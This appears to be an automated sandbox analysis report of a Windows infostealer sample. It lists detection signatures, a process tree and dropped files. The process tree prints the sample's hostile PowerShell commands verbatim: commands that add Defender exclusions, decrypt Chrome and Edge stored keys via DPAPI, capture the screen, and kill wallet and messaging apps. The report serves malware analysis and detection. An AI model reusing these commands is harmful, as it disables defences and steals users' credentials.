Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 08:40

General

  • Target
    2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe
  • Size 127.1MB
  • Sample260803-kldryssaqa
  • SHA256 f9fc754d64a26acb4e057165953d21ddfbf44c059c7d59fdcafe3862be4e4fd7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Executes a command shell one-liner 1 TTPs 12 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 4 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe"
    1⤵
    • Creates a file in the Startup directory
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "net session"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3116
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3416
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:1816
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4572
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-03_fc77fe21c920c2023566a9527973f48d_amadey_blankgrabber_cobalt-strike_coinminer_darkgate_gla.exe'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1328
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -join '||'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1528
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -join '||'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3564
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAz9XvcBTKTkaUTs4xW7BpvRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANoj16cr9vqmB4nbOyhNqZyxeXRGsErhgw2nhRQQ5oylAAAAAA6AAAAAAgAAIAAAAApNH0OFCYNlFns3Gq76bmwo/7V9eQzpDHg6oYj/0DEWMAAAAOm2LexcC+crpTKiCSAHNAUeD8HI4PR6gIHossrSA7i/Fs//1vaMPCVcnQ96C0qjKEAAAAAMGxaxF+v7Kin6SeToXkn90BS3l0RXKhpDoreqjb4TpZw+yFefDy5879neubnI3QP+OQsY0kNeQ6W8w0PaPNV6');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5844
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAz9XvcBTKTkaUTs4xW7BpvRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANoj16cr9vqmB4nbOyhNqZyxeXRGsErhgw2nhRQQ5oylAAAAAA6AAAAAAgAAIAAAAApNH0OFCYNlFns3Gq76bmwo/7V9eQzpDHg6oYj/0DEWMAAAAOm2LexcC+crpTKiCSAHNAUeD8HI4PR6gIHossrSA7i/Fs//1vaMPCVcnQ96C0qjKEAAAAAMGxaxF+v7Kin6SeToXkn90BS3l0RXKhpDoreqjb4TpZw+yFefDy5879neubnI3QP+OQsY0kNeQ6W8w0PaPNV6');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1036
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAz9XvcBTKTkaUTs4xW7BpvRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAHCmDAWB+jeahlWA2HSF2wN6X7ZMltt2Bs2PtgT9sdZEAAAAADoAAAAACAAAgAAAAcl7l0hb6cg3QbZVKvd231oR7CcfOU66pYPWnvevKxLkwAAAAIMXMpxtNvgiH/Bo2SH6GAKzZD75Q3CdDnPDevHoD83gEmcxJrWakaMJyPQ+YRTwwQAAAABnyIMopVOD+ij+VaLSyf8H1xomNGzFG55nLudWg79G6RU1KnHs005TOZKO8dHlCkhGB69CpgdXZJWXUdsj13oY=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4140
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAz9XvcBTKTkaUTs4xW7BpvRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAHCmDAWB+jeahlWA2HSF2wN6X7ZMltt2Bs2PtgT9sdZEAAAAADoAAAAACAAAgAAAAcl7l0hb6cg3QbZVKvd231oR7CcfOU66pYPWnvevKxLkwAAAAIMXMpxtNvgiH/Bo2SH6GAKzZD75Q3CdDnPDevHoD83gEmcxJrWakaMJyPQ+YRTwwQAAAABnyIMopVOD+ij+VaLSyf8H1xomNGzFG55nLudWg79G6RU1KnHs005TOZKO8dHlCkhGB69CpgdXZJWXUdsj13oY=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2376
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1348
        • C:\Windows\system32\taskkill.exe
          taskkill /IM Steam.exe /F
          3⤵
          • Kills process with taskkill
          PID:2656
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4248
        • C:\Windows\system32\taskkill.exe
          taskkill /IM javaw.exe /F
          3⤵
          • Kills process with taskkill
          PID:4664
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3288
        • C:\Windows\system32\taskkill.exe
          taskkill /IM Exodus.exe /F
          3⤵
          • Kills process with taskkill
          PID:5332
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5852
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:3364
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1080
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4340
        • C:\Windows\system32\tasklist.exe
          tasklist /FO CSV /NH
          3⤵
          • Discovers running processes
          PID:5380
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1588
        • C:\Windows\system32\taskkill.exe
          taskkill /IM Telegram.exe /F
          3⤵
          • Kills process with taskkill
          PID:5800

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          koffi.node

          • Path C:\Users\Admin\.cache\pkg\df0cfa4c41c97e25d503a1b98c21196bf37125a736999793f2ee1efd8ffb4fd9\koffi\build\koffi\win32_x64\koffi.node
          • Size 3.0MB
          • SHA256 df0cfa4c41c97e25d503a1b98c21196bf37125a736999793f2ee1efd8ffb4fd9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 58245b535bb164e85943800b4154e0128260c1a510da112294f1c53edfbfbf07
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 5fda996ac15b59137be54cd32aef6c798ff5beff612ff21d96bdf254de083a86
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 7b4d2c16c120a6aebe099c3c7fb432d7cc66a27002f4cdeacef7780b7a33bcd4
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1fff66cb01747146efa1f359d83210a102b9e20ad7349afc15f625f7d2a83e84
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_jxrgkrqb.1nn.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jxrgkrqb.1nn.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1036-50-0x000001B365800000-0x000001B365850000-memory.dmp

          memory/1328-32-0x0000022AC2E80000-0x0000022AC2EA2000-memory.dmp

          memory/1328-38-0x0000022AC3040000-0x0000022AC30F2000-memory.dmp

          memory/1328-37-0x0000022AC3020000-0x0000022AC303E000-memory.dmp

          memory/1328-39-0x0000022AC3100000-0x0000022AC310A000-memory.dmp